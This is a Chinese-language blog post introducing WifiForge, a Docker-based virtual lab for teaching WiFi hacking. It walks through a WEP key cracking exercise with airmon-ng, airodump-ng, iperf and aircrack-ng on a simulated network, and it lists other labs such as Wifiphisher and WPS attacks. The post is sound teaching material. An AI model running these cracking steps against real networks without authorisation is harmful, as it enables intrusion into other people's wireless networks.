WifiForge:课堂无线网络渗透实战工具

WifiForge是基于Mininet-Wifi构建的无线网络渗透教学工具,通过Docker容器提供预配置的漏洞利用环境,支持WEP破解、WPS攻击等实验,无需物理硬件即可安全学习WiFi安全技术。

WifiForge – 课堂无线网络渗透工具

作者:William Oldert // BHIS实习生

BHIS曾面临一个问题:我们需要一个让学生安全学习WiFi黑客技术的环境。最初的解决方案使用互连的物理网络设备和计算机来生成所需信号,但多套设备的成本和运输成为难题。

我们发现了一个名为Mininet的程序,它可以创建交互式虚拟网络,并开始探索如何将其用于实验室和教学材料。为了测试这一方案的可行性,我们启动了一个项目,并聘请实习生团队进行研究与测试。

该项目的成果就是WifiForge。

什么是WifiForge?

WifiForge是基于开源项目Mininet-Wifi构建的程序,Mininet-Wifi是Mininet的一个分支,支持无线网络功能。该工具自动设置执行各种漏洞利用所需的网络和工具,所有功能都 neatly打包在Docker容器中。WifiForge消除了对物理硬件的需求,仅需安装Docker并执行几条命令。

项目GitHub页面链接:点击此处

免责声明/注意事项

  • 强烈建议在Docker容器中运行WifiForge,但也可在基础机器上运行。
  • 在基础机器上安装Mininet-Wifi可能导致依赖项问题。
  • 建议在Ubuntu 14.04及以上版本或最新版Kali上运行WifiForge(Mininet于2017年构建时,Ubuntu 14.04是最前沿的)。
  • WifiForge安装脚本可能干扰正常操作系统使用;建议使用全新安装、虚拟机或优先选择Docker容器。

操作系统兼容性

WifiForge应适用于任何使用Docker的Linux操作系统。以下操作系统经过测试并确认可用:

  • Kali Linux
  • Parrot OS
  • Ubuntu

设置指南

以下是在Docker容器中设置所有必需组件的指南。我们提供了裸机操作系统安装和Docker镜像安装的指南,这些说明可在项目GitHub上找到。但最简单的最佳方案如下所述。

Docker(推荐)

注意:如果本地已安装Mininet-Wifi,Dockerfile将失败

从发布版本安装

从Dockerhub拉取镜像并启动新容器:

1
sudo docker run --privileged=true -it --env="DISPLAY" --env="QT_X11_NO_MITSHM=1" -v /tmp/.X11-unix:/tmp/.X11-unix:rw -v /sys/:/sys -v /lib/modules/:/lib/modules/ --name mininet-wifi --network=host --hostname mininet-wifi redblackbird/wififorge:v1.0.0 /bin/bash

在容器内,启动控制器以模拟AP:

1
service openvswitch-switch start

运行WifiForge.py:

1
sudo python3 Framework/WifiForge.py

实验室与特色工具

WifiForge提供预构建的实验室,涵盖多种主题和工具,包括但不限于:

  • Eaphammer
  • WPS网络
  • Wifiphisher
  • WEP网络
  • 使用John破解Netntlm
  • Airgeddon Dos

今天,我们通过WEP密钥破解实验室展示该程序的功能。

实验室:WEP密钥破解

设置阶段

首先,从WifiForge菜单中选择“WEP Network”,并等待最多30秒以初始化网络。

启动后,使用以下命令在攻击者、host1和host2上打开xterm会话:

1
xterm a host1 host2

WEP密钥破解

在攻击机器上,使用以下命令将接口切换到监控模式:

1
airmon-ng start a-wlan0

成功执行上述命令后,输出如下所示:

使用airodump-ng开始搜索附近网络:

1
airodump-ng a-wlan0mon

等待控制台出现流量,如下图所示:

在按‘Ctrl + c’终止进程前,记下BSSID和信道。在下一个命令中使用这些信息:

1
airodump-ng –c <CHANNEL> -–bssid <BSSID> a-wlan0mon –w attack_capture

运行上述命令时,有关连接到目标网络的主机信息将显示如下:

在host1上,运行以下命令后,记下与host1-wlan0关联的IP地址:

1
ifconfig

IP地址在下图的红色高亮部分可见:

通过收集常规用户流量来破解WEP密钥。为了模拟此流量,在host1上使用以下命令:

1
iperf –s

上述命令将开始监听端口5001的流量,如下图所示:

切换到host2的终端,运行以下命令:

1
iperf -c <HOST1 IP ADDRESS> -u -b 100M -t 60

上述命令将开始向host1发送流量,输出类似于下图:

等待直到发送约25,000个数据包(参见airmon控制台中的Frames列)。达到此数字后,使用‘Ctrl + c’终止攻击机器上的airmon-ng会话,并运行以下命令:

1
aircrack-ng ./attack_capture-01.cap

上述命令将开始尝试破解WEP密钥,成功解密类似于下图:

结束语

希望本实验室能向读者展示WifiForge的实用性及其所能实现的功能。能够为课堂快速搭建环境,而无需处理设置或幕后工作,正是我们开发此程序的原因。不必折腾硬件也是一大优势。所有这些都封装在紧凑的Docker容器中,意味着便携性和扩展性也不成问题。

当然,WifiForge如预期般轻松解决了BHIS的问题。

链接与进一步阅读

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计